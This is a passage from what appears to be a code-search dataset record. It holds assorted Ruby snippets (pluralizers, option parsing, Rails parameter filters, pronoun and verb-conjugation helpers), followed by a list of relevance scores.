=> count })\n @components[@subject] = a\n end\n if what_is?(component) == :not_defined\n \"OK, what is #{a_or_an(component)} #{component}?\"\n else\n \"OK\"\n end\n \n when :dont_understand\n \"I didn't understand that\"\n \n else\n throw \"Did not understand pattern #{pattern}\"\n end\n end", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def noun; end", "def noun; end", "def build_message( options = {} )\n\t\t\topt = { :type => nil, :service => nil, :message => nil, :extra_parameters => nil }.merge(options)\n\t\t\taction, url = binding_select( opt[:service] )\n\t\t\tcase action \n\t\t\twhen \"GET\"\n\t\t\t\treturn action, message_get( opt[:type], url, opt[:message], opt[:extra_parameters] )\n\t\t\twhen \"POST\"\n\t\t\t\treturn action, message_post( options[:type], url, opt[:message], opt[:extra_parameters] )\n\t\t\tend\n\t\tend", "def verbose text\n message(text) if @options[:verbose]\n end", "def verbose text\n message(text) if @options[:verbose]\n end", "def get_quote(person)\n case person\n when 'Yoda'\n 'Do. Or do not. There is no try.'\n when 'Confucius'\n 'I hear and I forget. I see and I remember. I do and I understand.'\n else\n 'Do not worry about your difficulties in Mathematics. I can assure you mine are still greater.'\n end\nend", "def option_params\n params.require(:option).permit(:sentence_id, :option, :correct)\n end", "def method_missing(meth_id, *args)\n meth = meth_id.id2name\n case\n when meth[0..2] == 'to_'\n term = meth[3..-1]\n super unless OptionHandling.valid_terminal?(term)\n to_specific_term(term, *args)\n when meth[-1] == '!'\n option!(meth[0..-2].to_sym, *args)\n when meth[-1] == '='\n option!(meth[0..-2].to_sym, *args)\n option(meth[0..-2].to_sym)\n else\n option(meth_id, *args)\n end\n end", "def process_options ( argv )\n\t\ttag = Tag.new\n\t\trenumber = false\n\t\tforce = false\n\t\tpreserve = false\n\t\trenumber_start_at = 1\n\t\tdoexit = false\n\t\ttitle_default = \"@B, @N of @T\"\n\n\t\tbegin\n\t\t\targv.options{ |opt|\n\n\t\t\t\t# help message banner and usage instructions\n\t\t\t\topt.banner = \"A script by Chris Tessmer that Retracks all mp3 id3v2 tags.\\n\"\n\t\t\t\topt.banner += \"version #{SCRIPT_VERSION}, #{SCRIPT_VERSION_DATE}.\\n\"\n\t\t\t\topt.banner += \"\\n\"\n\t\t\t\topt.banner += \"Usage: mp3_retracker [options] file(s)\\n\"\n\t\t\t\topt.banner += \"\\n\"\n\n\t\t\t\t# Defing options\n\t\t\t\topt.on( \"Options:\" )\n\t\t\t\topt.on( \"--renumber [START NUMBER]\", \"-n\", Integer, \"renumber tracks\" ) { |n|\n\t\t\t\t\trenumber \t\t\t\t\t= true\n\t\t\t\t\trenumber_start_at = n || 1\n\n\t\t\t\t\tif ( renumber_start_at < 1 )\n\t\t\t\t\t\trenumber_start_at = 1\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\topt.on( \"--force\",\n\t\t\t\t\t\"-f\",\n\t\t\t\t\t\"Force 'yes' to all questions\")\t{\n\t\t\t\t\tforce = true }\n\t\t\t\topt.on( \"--album 'ALBUM'\" ,\n\t\t\t\t\t\"-b\",\n\t\t\t\t\tString,\n#\t\t\t\t\t\"sets the album name\") { |tag.album| }\n\t\t\t\t\t\"sets the album name\") { |b| tag.album = b || nil }\n\t\t\t\topt.on( \"--artist 'ARTIST'\" , \"-a\", String, \"sets the artist name\") {\n\t\t\t\t\t# |tag.artist| }\n\t\t\t\t\t|a| tag.artist = a || nil }\n\t\t\t\topt.on( \"--composer [COMPOSER]\" , \"-c\", String, \"sets the composer name (defaults to artist)\") { |c|\n\t\t\t\t tag.composer = c || nil\n\t\t\t\t\t}\n\t\t\t\topt.on( \"--genre 'GENRE'\" , \"-g\", String, \"sets the genre\") {\n\t\t\t\t\t# |tag.genre| }\n\t\t\t\t\t|g|\n\t\t\t\t\ttag.genre = g || nil }\n\t\t\t\topt.on( \"--title [TITLE]\", \"-t\", String, \"sets title (uses meta chars, default = \\\"#{title_default}\\\")\" ) {\n\t\t\t\t\t\t|t|\n\t\t\t\t\t\ttag.title = t || title_default\n\t\t\t\t\t}\n\t\t\t\topt.on( \"--year YEAR\", \"-y\", String, \"sets year\" ) {|y|\n\t\t\t\t\tif( y =~ /^\\d{4,4}$/ )\n\t\t\t\t\t\ttag.year = y\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"Bad year '#{y}'- must be in four-digit (YYYY) numeric format.\"\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\topt.on( \"--website 'URL'\", \"-w\", String, \"sets website\" ) {\n\t\t\t\t\t# |tag.web_site| }\n\t\t\t\t\t|w| tag.web_site = w || nil }\n\t\t\t\topt.on( \"--album-artist 'ARTIST'\", \"-m\", String, \"sets album artist\" ) {\n\t\t\t\t\t# |tag.album_artist| }\n\t\t\t\t\t|m| tag.album_artist = m || nil }\n\t\t\t\topt.on( \"--retrack-defaults 'ALBUM'\", \"-x\", String, \"equivilant to -n -t -b ALBUM\" ){\n\t\t\t\t\t# |tag.album|\n\t\t\t\t\ttag.album\n\t\t\t\t\trenumber \t\t= true\n\t\t\t\t\trenumber_start_at \t= 1\n\t\t\t\t\ttag.title \t\t= title_default\n\t\t\t\t}\n\t\t\t\topt.on( \"--preserve-times\", \"-p\", \"preserves original file timestamps\" ) {\n\t\t\t\t\tpreserve = true }\n\t\t\t\topt.on( \"--help\", \"-h\", \"This text\" ) {\n\t\t\t\t\tputs opt\n\t\t\t\t\texit EXITSTATUS_COMPLETE\n\t\t\t\t}\n\n\t\t\t\t# Additional help message instructions:\n\t\t\t\topt.separator \"\"\n\t\t\t\topt.separator \"Meta Characters:\"\n\t\t\t\topt.separator \"\\t@N Track Number\"\n\t\t\t\topt.separator \"\\t@T Total Tracks\"\n\t\t\t\topt.separator \"\\t@B Album Name\"\n\t\t\t\topt.separator \"\"\n\t\t\t\topt.parse!\n\n\t\t\t\tif tag.composer.nil?\n\t\t\t\t\tif not tag.composer = tag.artist\n\t\t\t\t\t\traise \"Composer Requested with no Composer or Artist given.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Exit with help message if no arguments are given\n\t\t\t\tif ( argv.length == 0 )\n\t\t\t\t\tputs opt\n\t\t\t\t\tdoexit = true\n\t\t\t\tend\n\t\t\t}\n\n\t\trescue Exception => e\n\t\t\tif e.class != SystemExit\n\t\t\t\tSTDERR.puts \"\\n#{e.class}\"\n\t\t\t\tSTDERR.puts \"\\t#{e}\\n\"\n\t\t\t\tSTDERR.puts \"Since this messed up the arguments, I am ABORTING THE PROGRAM. Sorry.\\n\\n\"\n\t\t\tend\n\n\t\t\texit EXITSTATUS_ARG_ERROR\n\t\tend\n\n\t\t# Handle graceful exit (couldn't put in opt block because of rescue clause)\n\t\tif doexit\n\t\t\texit EXITSTATUS_COMPLETE\n\t\tend\n\n\t\tputs \"tag:\\n#{tag}\"\n\t\tt = TagRetracker.new( tag, renumber, force, preserve )\n\t\tt.renumber_start_at = renumber_start_at\n\t\tt\n\tend", "def verbs\n (@verb.downcase.presence || 'get').split('|')\n end", "def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def subject_of_speech_params\n params.require(:subject_of_speech).permit(:title, :sub_title, :user_id, :costar, :presentation_style, :category, :content, :keywords, :category_id)\n end", "def process_adoption\n\n output_strings = []\n # Check to see if there are any pets available to adopt and clients added.\n # If not, no need to collect info.\n if @animals.empty?\n output_strings << \"There are no animals available to adopt at this time. Please come back again.\"\n elsif @clients.empty?\n output_strings << \"There are no clients. In order to adopt, person must be a client first.\"\n else\n # collection info needed to adopt\n puts(\"-- Collect Adoption Information --\")\n adopting_client = input_valid_client()\n animal_to_adopt = input_valid_animal()\n\n # add the pet to the client, and remove from shelter animal list\n # we know at this point, both exist\n @clients[adopting_client.name.to_sym].add_pet(animal_to_adopt)\n @animals.delete(animal_to_adopt.name.to_sym)\n\n output_strings << \"#{adopting_client.name} has provided a new home for #{animal_to_adopt.name}!\"\n end\n end", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @noun.downcase == 'moose' && @number >1\n @noun = 'moose'\n elsif @noun.downcase == 'goose' && @number >1\n @noun = 'geese'\n elsif @noun.downcase == 'child' && @number >1\n @noun = 'children'\n elsif @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def tell_the_truth(options={})\n if options[:profession] == :lawyer\n \"it could be believed that this was almost certaily not false.\"\n else\n true\n end\nend", "def subject_params\n params.require(:subject).permit(:result_no, :generate_no, :e_no, :slash, :thrust, :stroke, :shot, :guard, :dance, :theft, :cooking, :technology, :movement, :chemistry, :arithmetic, :fire, :theology, :life, :demonology, :geography, :astronomy, :fengshui, :psychology, :music, :curse, :illusion, :trick)\n end", "def adjusted_opts!(singular, options)\n c = options[:controller] || singular.to_s\n (options[:options]||={}).merge!(:controller=>c)\n options[:shallow_options] = options[:shallow] ? (options[:shallow_options]||{}).merge(:controller=>c) : options[:options]\n options\n end", "def convert_opt_in_to_words (opt_in_value_num)\n if opt_in_value_num == 0\n opt_in_text = \"no\"\n elsif opt_in_value_num\n opt_in_text = \"yes\"\n end\n end" ]
[ "0.6529123", "0.65073097", "0.6045123", "0.57486117", "0.5731374", "0.54960376", "0.54800636", "0.54773915", "0.5404189", "0.53992635", "0.5382994", "0.5366697", "0.5338393", "0.5319206", "0.522267", "0.5191354", "0.5173851", "0.5173851", "0.5173851", "0.5173851", "0.5173851", "0.5088286", "0.5084197", "0.5043844", "0.50303143", "0.50190544", "0.49962533", "0.49875253", "0.49572366", "0.48847005", "0.4879326", "0.48683432", "0.48577303", "0.4844564", "0.48317015", "0.48213422", "0.48097518", "0.48076314", "0.48051578", "0.48034087", "0.4801718", "0.47976407", "0.47859612", "0.47699732", "0.47649986", "0.47596678", "0.47392914", "0.47276744", "0.4723152", "0.47107068", "0.46985137", "0.4696211", "0.46961656", "0.46842277", "0.46768817", "0.4655266", "0.46408996", "0.46299094", "0.46285853", "0.46258608", "0.46238303", "0.45960975", "0.45785546", "0.45703807", "0.45530385", "0.4544998", "0.45178634", "0.45178634", "0.45045823", "0.44905496", "0.44844085", "0.4481535", "0.44744906", "0.4474158", "0.447296", "0.44713095", "0.4468688", "0.44676584", "0.446713", "0.44593626", "0.44584674", "0.44533467", "0.44527027", "0.44527027", "0.4449628", "0.44393617", "0.44393617", "0.4435749", "0.44296435", "0.44196418", "0.4413262", "0.44023034", "0.44003156", "0.43961006", "0.4395619", "0.43952414", "0.4392701", "0.43835232", "0.43781793", "0.4377325" ]
0.66836923
0
Finds the pronoun associated with the subject for the conjugation Returns the pronoun Params: options, list of options given to determine conjugation
def subject(options) case [options[:person], options[:plurality]] when %i[first singular] 'I' when %i[first plural] 'we' when %i[second singular], %i[second plural] 'you' when %i[third singular] 'he' when %i[third plural] 'they' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def subject(options = {})\n options = { :capitalize => true, :case => Grammar::Case::SUBJECT }.merge(options)\n pronoun_or_noun(@subject, @audience, options)\n end", "def pronoun_or_noun(noun, audience, options = {})\n return '' if noun.blank?\n\n options = {\n :force_pronoun => false,\n :force_noun => false,\n :capitalize => false,\n :case => Grammar::Case::SUBJECT\n }.merge(options)\n\n person = Grammar::Person::parse(noun, audience)\n\n if options[:force_noun] || (person == Grammar::Person::THIRD && !options[:force_pronoun])\n result = noun.to_s\n result += \"'s\" if options[:case] == Grammar::Case::POSSESSIVE\n else\n number = Grammar::Number::parse(noun)\n gender = options[:gender] || (Grammar::Gender::parse(noun) rescue Grammar::Gender::NEUTER)\n kase = options[:case]\n result = Grammar::Pronoun::pronoun_for(person, number, kase, gender)\n result = options[:capitalize] ? result.capitalize : result.downcase\n end\n result\n end", "def subj\r\n Pronouns.get_pronoun_set(@object)[0]\r\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def indefinite_personal_subjective_pronoun\n return \"it\"\n end", "def poss\r\n Pronouns.get_pronoun_set(@object)[2]\r\n end", "def resolve_personal_subjective_pronoun(target)\n if target == self\n return \"you\".freeze\n end\n if can_see?(target)\n return target.personal_subjective_pronoun\n else\n return target.indefinite_personal_subjective_pronoun\n end\n end", "def noun; end", "def noun; end", "def object(options = {})\n kase = @subject == @object ? Grammar::Case::REFLEXIVE : Grammar::Case::DIRECT_OBJECT\n options = { :case => kase }.merge(options)\n pronoun_or_noun(@object, @audience, options)\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def indefinite_personal_objective_pronoun\n return \"it\"\n end", "def reflex\r\n Pronouns.get_pronoun_set(@object)[3]\r\n end", "def resolve_possessive_pronoun(target)\n if target == self\n return \"your\".freeze\n end\n if can_see?(target)\n return target.possessive_pronoun\n else\n return target.indefinite_possessive_pronoun\n end\n end", "def resolve_reflexive_pronoun(target)\n if target == self\n return \"yourself\".freeze\n end\n if can_see?(target)\n return target.reflexive_pronoun\n else\n return target.indefinite_reflexive_pronoun\n end\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def indefinite_possessive_pronoun\n return \"its\"\n end", "def set_pronoun\n @pronoun = Pronoun.find(params[:id])\n end", "def resolve_personal_objective_pronoun(target)\n if target == self\n return \"you\".freeze\n end\n if can_see?(target)\n return target.personal_objective_pronoun\n else\n return target.indefinite_personal_objective_pronoun\n end\n end", "def noun_phrase__noun(position, registers)\n begin\n push(:prepositional_phrase, position, registers, :into => :prepositional_phrase, :next => :noun_phrase__noun)\n rescue Ungrammatical\n pop(tag(:noun_phrase, [registers[:determiner], registers[:adjective], registers[:noun], registers[:prepositional_phrase]]))\n end\n end", "def obj\r\n Pronouns.get_pronoun_set(@object)[1]\r\n end", "def captionize\n res = titleize\n Settings::CaptionAcronyms.each do |acronym|\n res = res.gsub(/(?<![\\w\\d])(#{acronym})(?![\\w\\d])/i, acronym)\n end\n res\n end", "def subject\n\t\tlink = self.links.find {|link| link.llabel[0] == ?S } or return nil\n\t\treturn link.lword.sub( /\\.[np]$/, '' )\n\tend", "def nouns\n {\"cat\" => [\"cats\", \"cat\"], \"hero\" => [\"heroes\"]}\n end", "def translate_one_consonant( s )\n\n\t\t# store the letters in an array\n\t\tch_array = s.chars\n\n\t\t# then grab the first letter from the array\n\t\tfirst_letter = ch_array.shift\n\n\t\t# put that letter at the back with push and add 'ay'\n\t\tch_array << first_letter + \"ay\"\n\n\t\t# bring it back together\n\t\tch_array.join\n\n\tend", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def fb_pronoun(user, options={})\n options = options.dup\n options.transform_keys!(FB_PRONOUN_OPTION_KEYS_TO_TRANSFORM)\n options.assert_valid_keys(FB_PRONOUN_VALID_OPTION_KEYS)\n options.merge!(:uid => cast_to_facebook_id(user))\n tag(\"fb:pronoun\", stringify_vals(options))\n end", "def test_complex_pronouns\n assert_equal('yes, I rule', WordPlay.switch_pronouns('yes, you rule'))\n assert_equal('Am I stupid?', WordPlay.switch_pronouns('are u stupid?'))\n assert_equal('why do i cry?', WordPlay.switch_pronouns('why do you cry?'))\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def get_trite_disc_nickname\n adjectives=\n [ \"astounding\",\n \"batshit\",\n \"benign\",\n \"cracked\",\n \"creased\",\n \"crunched\",\n \"crippled\",\n \"crushed\",\n \"dismayed\",\n \"doomed\",\n \"flamenco-dancing\",\n \"folded\",\n \"harmless\",\n \"hazed\",\n \"inebriated\",\n \"inert\",\n \"malignant\",\n \"maligned\",\n \"marbled\",\n \"mutilated\",\n \"oblate\",\n \"obnoxious\",\n \"obsolete\",\n \"pathetic\",\n \"particular\",\n \"polycarbonate\",\n \"perky\",\n \"sad\",\n \"scored\",\n \"scratched\",\n \"screwy\",\n \"scuffed\",\n \"soul-crushing\",\n \"spindled\",\n \"spiralled\",\n \"splattered\",\n \"toothpaste-covered\",\n \"unbalanced\",\n \"verboten\",\n \"wafer-thin\"\n ]\n\n nouns =\n [ \"artifact\",\n \"chunk of your past\",\n \"disc\",\n \"donut\",\n \"frisbee\",\n \"hocky puck\",\n \"orblette\"]\n \n description = adjectives.sample\n\n while [true,false].sample do\n adj = adjectives.sample\n if !description.include? adj\n description+=\", \"+adj\n end\n end\n\n description+=\" \"+nouns.sample\nend", "def c\n return $consonants.choice\nend", "def cannabinoid_abbreviation; end", "def Noun(word)\n Noun[word]\n end", "def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend", "def fb_pronoun(user, options={})\n options.transform_keys!(FB_PRONOUN_OPTION_KEYS_TO_TRANSFORM)\n options.assert_valid_keys(FB_PRONOUN_VALID_OPTION_KEYS)\n options.merge!(:uid => cast_to_facebook_id(user))\n tag(\"fb:pronoun\", options)\n end", "def consonant_cancel(sentence)\n\tarry = sentence.split(\" \")\n \tfinal = []\n \tvowel = \"aeiou\"\n \tarry.each do |word|\n len = word.length\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n final << word[i..-1]\n break\n end\n end\n end\n return final.join(\" \")\nend", "def consonant_cancel(sentence)\n result = []\n arr = sentence.split(\" \")\n\n arr.each do |i|\n cancelled = []\n i.each_char.with_index do |ch, idx|\n if ch == 'a' || ch == \"e\" || ch == \"i\" || ch == \"o\" || ch == \"u\"\n cancelled << i[idx..-1]\n break\n end\n end\n result << cancelled.join\n end\n\n return result.join(\" \")\n\nend", "def consonant_changer(name)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n name.map! do |chars|\n counter = 0\n while counter < consonant_guide.length\n if chars == consonant_guide[counter]\n chars = consonant_guide[counter += 1]\n counter += 1\n elsif chars == \"z\"\n chars = \"b\"\n counter += 1\n else\n chars\n counter += 1\n end\n end\n chars\n end\n name\n name.join('').capitalize!\nend", "def personal_subjective_pronoun\n return @gender.personal_subjective\n end", "def consonant_cancel(sentence)\n\n arr = sentence.split(\" \").map do |word|\n removeConsonant(word)\n end\n return arr.join(\" \")\nend", "def pronoun_params\n params.require(:pronoun).permit(:title)\n end", "def genderToObjectivePronoun(gender)\n if gender == nil\n return '(unknown gender)'\n end #TODO: Raise exception if unknown detected\n\n if gender == :male || gender.downcase == 'male'\n return 'him'\n else\n return 'her'\n end\n #TODO: Raise exception if unknown detected\n end", "def consonant?\n self != 'ㅇ' && kor.chosung?(self)\n end", "def subject_for(from_name, conversation_with, verb=\"sent\", suffix=\"video\")\n \n case conversation_with.count\n when 0 \n \"#{from_name} #{verb} you #{suffix}\"\n when 1\n \"#{from_name} #{verb} you and #{nickname_for_user_or_email(conversation_with[0])} #{suffix}\"\n when 2\n \"#{from_name} #{verb} you, #{nickname_for_user_or_email(conversation_with[0])} and #{nickname_for_user_or_email(conversation_with[1])} #{suffix}\"\n else\n others = conversation_with[0..1].map { |p| nickname_for_user_or_email(p) } .join(\", \")\n \"#{from_name} #{verb} you, #{others} and #{pluralize(conversation_with.count-2, 'other')} #{suffix}\"\n end\n end", "def next_consonant(name)\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \n\t\t\"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tindex = 0\n\tname = name.split('') # string to array\n\tname_change2 = name.map do |letter| \n\t\tif consonants.include? letter \n\t\t\tconsonants.rotate(1)[consonants.index(letter)]\n\t\telse\n\t\t\tletter\n\t\tend\n\tend\n\tname_change2.join\t# new array convert back to string\nend", "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end", "def translate_three_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# then grab the third letter from the array\n\t\t\t\tthird_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + third_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def plural_noun( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_noun(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def display_name(options = {})\n opt = {}.merge!(options)\n case opt[:type]\n when :status\n self.confidence.display_name(:type => :short)\n else\n self.confidence.display_name\n end\n end", "def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "def explain2(options={})\n animal = options[:the]\n sound = options[:says]\n \"the #{animal} says #{sound}\"\nend", "def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend", "def subject_topic\n map_field(:subject_topic)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end", "def yell_at_patrons\n @patrons.upcase\n end", "def kase_person_verb_type_and_time_in_words(kase, options={})\n \"%{name} %{verb_and_type} %{time}\" % {\n :name => link_to(h(kase.person.username_or_title_and_full_name), person_path(kase.person),\n options[:pcard] ? {:class => \"pcard\", :rel => member_url([@tier, kase.person], :pcard)} : {}),\n :verb_and_type => case kase.kind \n when :problem then \"reported this problem\".t\n when :question then \"asked this question\".t\n when :praise then \"gave praise\".t\n when :idea then \"shared this idea\".t\n else \"posted this case\".t\n end,\n :time => \"%{time} ago\".t % {:time => time_ago_in_words_span_tag(kase.created_at)}\n }\n end", "def translation_of(text, options)\n src = options[:from]\n dst = options[:to]\n raise \":from and :to are mandatory in method translation_of\" if src.nil? || dst.nil?\n\n diconame = \"#{src}_#{dst}\".to_sym\n dico = @dicts[diconame]\n if dico.is_a? String\n dico = [ dico ]\n end\n if @data[diconame].nil? && dico\n dico.each do |name|\n dico_name_ext = \"#{src}_#{dst}_dict_#{name}\"\n data = load_dictionnary(dico_name_ext).symbolize_keys\n if @data[diconame].nil?\n @data[diconame] = data[diconame]\n else\n @data[diconame].merge! data[diconame]\n end\n end\n end\n tn = @data[diconame][text] if @data[diconame]\n if tn.nil? && google?\n tn = @tr.translate :text => text, :from => src, :to => dst\n end\n if tn.nil? || tn.empty? || tn == text\n tn = text\n if @strict\n tn = \"NT - #{text}\"\n end\n end\n tn\n end", "def entrance_message player, action = nil\n if info.entrance_message\n info.entrance_message.gsub(/(!name|!pronoun\\(:(\\w+)\\)|!pronoun)/) do\n case $1\n when \"!name\"\n player.name\n when \"!pronoun\"\n player.pronoun\n else\n if $2\n player.pronoun($2.to_sym)\n end\n end\n end\n else\n case action\n when \"jump\"\n \"#{player.name} jumps in over #{self.name}.\"\n when \"climb\"\n \"#{player.name} comes in, climbing #{self.name}.\"\n when \"crawl\"\n \"#{player.name} crawls in through #{self.name}.\"\n else\n \"#{player.name} steps through #{self.name}.\"\n end\n end\n end", "def noun_phrases\n _noun_phrases\n end", "def noun_phrases\n _noun_phrases\n end", "def subject\n map_field(:subject)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end", "def translation\n if self.spellings.first\n self.spellings.first.name\n else\n \"\"\n end\n end", "def pluralized_noun(number, noun)\n \"#{number} #{noun.pluralize(number)}\"\n end", "def Poss\r\n poss.cap_first\r\n end", "def explain(options={})\n \"the #{options[:the]} says #{options[:says]}\"\nend", "def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end", "def subject_name\n subjects.any? ? subjects.first.name : nil\n end", "def personal_objective_pronoun\n return @gender.personal_objective\n end", "def case_q(word,first_letter )\n vowel = [\"a\",\"e\",\"i\",\"o\",\"u\",\"y\"]\n #si le q est la première lettre du mot\n if first_letter\n #si la 2eme lettre n'est pas un 'u', on traite le mot avec translate_consonant\n unless word[1] ==\"u\"\n translate_consonant(word)\n #si la 2eme lettre est un 'u'\n else\n move_and_add(word,2)\n end\n #si il est à la seconde position\n else\n #si la prémière lettre est une voyelle\n if vowel.include?(word[0])\n word+\"ay\"\n #si la prémière lettre n'est pas une voyelle (consonne) et la 3eme, un 'u'\n elsif not vowel.include?(word[0]) && word[2] == \"u\"\n move_and_add(word,3)\n else\n translate_consonant(word)\n end\n end\nend", "def cardinal_abbreviation; end", "def combine_subjects\n @sentences.each_cons(2) do |s1, s2|\n if s1.subject == s2.subject\n s2.subject = Pronoun.new(s1.subject.gender)\n end\n end\n end", "def to_cyc(options={})\n head, qualifier = @name.split(\"(\")\n head = capitalize_and_squeeze_words(head)\n if qualifier && !options[:skip_qualifier]\n \"#{head}-\" + capitalize_and_squeeze_words(qualifier.sub(\")\",\"\"))\n else\n head\n end\n end", "def next_consonant (consonant)\n consonant_downcase = consonant.downcase\n index = CONSONANTS.index(consonant_downcase)\n\n # handle edge case for letter 'z'\n if consonant_downcase == \"z\"\n next_consonant = CONSONANTS[0]\n else\n next_consonant = CONSONANTS[index + 1]\n end\n #Capitalize next letter if the original letter 